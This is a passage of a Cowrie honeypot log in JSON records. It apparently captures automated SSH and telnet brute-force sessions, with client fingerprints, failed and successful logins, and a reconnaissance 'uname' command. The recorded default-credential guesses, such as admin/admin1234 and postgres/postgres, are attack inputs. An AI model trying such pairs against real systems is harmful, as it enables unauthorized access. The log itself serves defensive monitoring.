sh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:03.038909Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:03.469211Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:03.680674Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:03.683703Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:03.768221Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:03.772795Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.475281715393066,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:04.415485Z","src_ip":"192.211.53.160","session":"1a26371ec2ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42244,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c0d1781945b","protocol":"ssh","message":"New connection: 176.65.132.129:42244 (10.17.0.5:22) [session: 5c0d1781945b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:06.367491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:06.372616Z","src_ip":"176.65.132.129","session":"5c0d1781945b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:06.456081Z","src_ip":"176.65.132.129","session":"5c0d1781945b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:06.706472Z","src_ip":"176.65.132.129","session":"5c0d1781945b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:07.792544Z","src_ip":"176.65.132.129","session":"5c0d1781945b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42256,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fc8cfa23be2","protocol":"ssh","message":"New connection: 176.65.132.129:42256 (10.17.0.5:22) [session: 1fc8cfa23be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:09.561901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:09.566476Z","src_ip":"176.65.132.129","session":"1fc8cfa23be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:09.648427Z","src_ip":"176.65.132.129","session":"1fc8cfa23be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:09.893808Z","src_ip":"176.65.132.129","session":"1fc8cfa23be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46838,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c132bf572c","protocol":"telnet","message":"New connection: 38.60.198.128:46838 (159.203.135.109:23) [session: 57c132bf572c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:10.948996Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:10.978630Z","src_ip":"176.65.132.129","session":"1fc8cfa23be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42258,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b18b13f3095","protocol":"ssh","message":"New connection: 176.65.132.129:42258 (10.17.0.5:22) [session: 0b18b13f3095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:12.799389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:12.804083Z","src_ip":"176.65.132.129","session":"0b18b13f3095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:12.898554Z","src_ip":"176.65.132.129","session":"0b18b13f3095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:13.279088Z","src_ip":"176.65.132.129","session":"0b18b13f3095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:14.368023Z","src_ip":"176.65.132.129","session":"0b18b13f3095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59848,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12b0ab6e0a0","protocol":"ssh","message":"New connection: 176.65.132.129:59848 (10.17.0.5:22) [session: b12b0ab6e0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:16.180794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:16.185526Z","src_ip":"176.65.132.129","session":"b12b0ab6e0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:16.267439Z","src_ip":"176.65.132.129","session":"b12b0ab6e0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:16.513464Z","src_ip":"176.65.132.129","session":"b12b0ab6e0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59522,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1ed8796fff","protocol":"telnet","message":"New connection: 38.54.119.93:59522 (10.17.0.5:23) [session: 3d1ed8796fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:17.392080Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:17.597658Z","src_ip":"176.65.132.129","session":"b12b0ab6e0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59850,"dst_ip":"10.17.0.5","dst_port":22,"session":"1417c6df1274","protocol":"ssh","message":"New connection: 176.65.132.129:59850 (10.17.0.5:22) [session: 1417c6df1274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:19.540850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:19.545712Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:19.629860Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:19.879270Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:20.076712Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:20.080096Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:20.165890Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:20.171474Z","src_ip":"176.65.132.129","session":"1417c6df1274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":47212,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ad0824034f","protocol":"telnet","message":"New connection: 64.227.82.147:47212 (159.203.135.109:23) [session: 43ad0824034f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:21.684901Z"}
{"eventid":"cowrie.session.closed","duration":42.593207359313965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:21.821290Z","src_ip":"192.211.53.160","session":"98e048b1ca5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.741346836090088,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:22.133302Z","src_ip":"38.54.119.93","session":"3d1ed8796fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59862,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e32888a6063","protocol":"ssh","message":"New connection: 176.65.132.129:59862 (10.17.0.5:22) [session: 8e32888a6063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:22.683511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:22.687339Z","src_ip":"176.65.132.129","session":"8e32888a6063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:22.768008Z","src_ip":"176.65.132.129","session":"8e32888a6063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.580122232437134,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:22.800700Z","src_ip":"192.211.53.160","session":"88f7966aad69","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:23.106870Z","src_ip":"176.65.132.129","session":"8e32888a6063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:24.190655Z","src_ip":"176.65.132.129","session":"8e32888a6063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":37802,"dst_ip":"10.17.0.5","dst_port":22,"session":"946e3bec1d29","protocol":"ssh","message":"New connection: 95.215.8.165:37802 (10.17.0.5:22) [session: 946e3bec1d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:25.184442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:25.188387Z","src_ip":"95.215.8.165","session":"946e3bec1d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2